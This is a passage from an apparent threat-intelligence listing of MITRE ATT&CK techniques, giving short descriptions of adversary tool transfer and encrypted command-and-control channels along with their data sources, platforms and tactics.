Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre